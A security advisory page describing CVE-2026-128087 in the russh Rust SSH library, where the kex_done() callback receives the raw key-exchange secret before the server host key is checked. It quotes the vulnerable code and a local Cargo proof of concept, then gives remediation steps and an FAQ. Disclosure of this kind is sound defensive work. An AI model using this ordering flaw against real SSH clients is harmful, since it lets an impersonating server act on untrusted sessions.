CVE-2026-128087: russh kex_done: Shared-secret callback runs before server host-key verification

Published Nov 13, 2026
·
Updated

Summary

A malicious SSH server whose host key is rejected can still cause russh's client::Handler::kexdone() callback to execute with the raw key-exchange shared secret. Applications using the callback for its documented protocol-bridging purpose may derive keys, initialize a secondary data channel, or perform another externally visible action before russh calls checkserverkey() and rejects the server.

Details

During the initial key exchange, russh calls kexdone() immediately after the server proves possession of the presented host key, but before the application decides whether that key belongs to the intended server:

rust let sharedsecret = newkeys.kex.sharedsecretbytes(); handler .kexdone(sharedsecret, &newkeys.names, session) .await?;

// Initial KEX only checks trust afterwards. if let Some(certificate) = serverhostcertificate { if !handler.checkserverkey(&certificate.into()).await? { return Err(crate::Error::UnknownKey.into()); } } else if let Some(serverhostkey) = serverhostkey { let check = handler.checkserverkey(&serverhostkey.into()).await?; if !check { return Err(crate::Error::UnknownKey.into()); } }

This is in russh/src/client/mod.rs at lines 2036-2078 of commit 183a22e8f8f490fa09b6eb7bd044ef99d8c4414f.

The API documentation describes checkserverkey() as the important trust decision that prevents man-in-the-middle attacks. It describes kexdone() as the callback for deriving keys for secondary encrypted channels. The feature request that introduced the callback specifically lists VPN-over-SSH, UDP data planes, file transfer, and custom enterprise transports as intended uses.

Cryptographic verification of the KEX signature does not establish peer identity: an attacker operating its own SSH server can always produce a valid signature with its own host key. Identity is established only when checkserverkey() accepts that key or certificate.

Expected behavior

For the initial key exchange, checkserverkey() should accept the server identity before kexdone() exposes the shared secret for secondary-channel initialization.

Actual behavior

kexdone() runs first. An untrusted server can therefore trigger application-defined secondary-channel actions even though checkserverkey() subsequently rejects it with UnknownKey.

The callback was introduced by commit 500bef1eccc1c48ac674e2a262aa7887777431eb and is present from v0.55.0 through current v0.65.0.

Proof of concept

The following self-contained Cargo project starts a local russh server with a fresh, untrusted host key. The client models the documented bridge use case by exporting the shared secret in kexdone(), while checkserverkey() rejects the server. It asserts both the failed connection and the callback order.

Create an empty directory and add Cargo.toml:

toml [package] name = "russh-kex-before-host-trust-poc" version = "0.1.0" edition = "2024"

[dependencies] rand = { version = "0.10", features = ["threadrng"] } russh = "=0.65.0" tokio = { version = "1", features = ["macros", "net", "rt-multi-thread"] }

Create src/main.rs:

rust use std::sync::{Arc, Mutex};

use russh::keys::{Algorithm, PrivateKey, PublicKeyOrCertificate}; use russh::{Names, client, server};

#[derive(Clone)] struct TestServer;

impl server::Handler for TestServer { type Error = russh::Error; }

#[derive(Clone)] struct RejectingClient { events: Arc<Mutex<Vec<&'static str>>>, exportedsecret: Arc<Mutex<Option<Vec<u8>>>>, }

impl client::Handler for RejectingClient { type Error = russh::Error;

async fn kexdone( &mut self, sharedsecret: Option<&[u8]>, names: &Names, session: &mut client::Session, ) -> Result<(), Self::Error> { self.events.lock().unwrap().push("kexdone");

// Model a bridge exporting KEX material to a secondary protocol. self.exportedsecret.lock().unwrap() = sharedsecret.map(ToOwned::toowned); Ok(()) }

async fn checkserverkey( &mut self, serverpublickey: &PublicKeyOrCertificate, ) -> Result<bool, Self::Error> { self.events.lock().unwrap().push("checkserverkey"); Ok(false) } }

#[tokio::main] async fn main() { let mut serverconfig = server::Config::default(); serverconfig.inactivitytimeout = None; serverconfig .keys .push(PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap()); let serverconfig = Arc::new(serverconfig);

let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); let address = listener.localaddr().unwrap(); tokio::spawn(async move { let (stream, ) = listener.accept().await.unwrap(); let = server::runstream(serverconfig, stream, TestServer).await; });

let events = Arc::new(Mutex::new(Vec::new())); let exportedsecret = Arc::new(Mutex::new(None)); let client = RejectingClient { events: events.clone(), exportedsecret: exportedsecret.clone(), };

let result = client::connect( Arc::new(client::Config::default()), address, client, ) .await;

println!("connection accepted: {}", result.isok()); println!("callback order: {:?}", events.lock().unwrap()); println!( "secret exported before rejection: {}", exportedsecret.lock().unwrap().issome() );

assert!(matches!(result, Err(russh::Error::UnknownKey))); asserteq!( events.lock().unwrap().asslice(), &["kexdone", "checkserverkey"] ); assert!(exportedsecret.lock().unwrap().issome()); }

Run:

sh cargo run --quiet

Observed with russh v0.65.0:

text connection accepted: false callback order: ["kexdone", "checkserverkey"] secret exported before rejection: true

The connection fails with russh::Error::UnknownKey, but the security-sensitive callback and its modeled external side effect have already occurred.

Impact

Applications overriding kexdone() to bootstrap a secondary encrypted transport are affected. An unauthenticated attacker who can impersonate the SSH endpoint can complete KEX with an attacker-owned host key and trigger secondary channel initialization before that key is rejected. Depending on the bridge, this can expose early secondary-channel data or make the application act on a session established with an untrusted peer.

Ordinary clients that leave kexdone() at its no-op default, or implementations that independently defer all callback-derived actions until host trust has been confirmed, are not affected.

Other sources

russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. From version 0.55.0 until version 0.65.1, the initial key exchange invokes client::Handler::kexdone() with the raw shared secret before checkserverkey() accepts the server host key or certificate. A malicious SSH server can therefore trigger application-defined secondary-channel initialization or early data handling even when the server identity is subsequently rejected. Ordinary clients that keep the callback's no-op default or independently defer callback-derived actions until trust is confirmed are not affected. This issue is fixed in version 0.65.1.

— MITRE

Affected Software

1 affected componentFixes available
rust/russh>=0.55.0<0.65.1
0.65.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rust/russh to a version that resolves this vulnerability.

    Fixed in 0.65.1
  2. Upgrade

    Upgrade russh to a version that resolves this vulnerability.

    Fixed in 0.65.1

Event History

Nov 13, 2026
CVE Published
via MITRE·07:03 PM
Data Sourced
via MITRE·07:03 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:20 PM
Data Sourced
via GitHub·07:20 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which applications are exposed to an externally visible effect?

Applications are exposed if their russh client Handler implements kex_done() and uses the supplied raw shared secret to derive keys, initialize a secondary data channel, or trigger another externally visible action. A rejected server host key does not prevent that callback from running during the initial key exchange.

2

What must an attacker do to trigger the issue?

An attacker needs to act as an SSH server that the client connects to and present a host key that the application ultimately rejects. The server must complete enough of key exchange to prove possession of the presented host key, causing kex_done() to receive the shared secret before check_server_key() runs.

3

How can I determine whether my application is affected?

Review client::Handler implementations for kex_done() and identify whether the callback uses its shared-secret argument for protocol bridging, key derivation, channel setup, or other actions outside the SSH session. The issue is relevant specifically when those actions can occur before the application's host-key decision in check_server_key().

4

What can be done if updating is not immediately possible?

Avoid performing externally visible actions based on the shared secret inside kex_done() until server host-key trust has been confirmed. In particular, defer secondary-channel initialization and use of derived keys until after check_server_key() accepts the server key.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203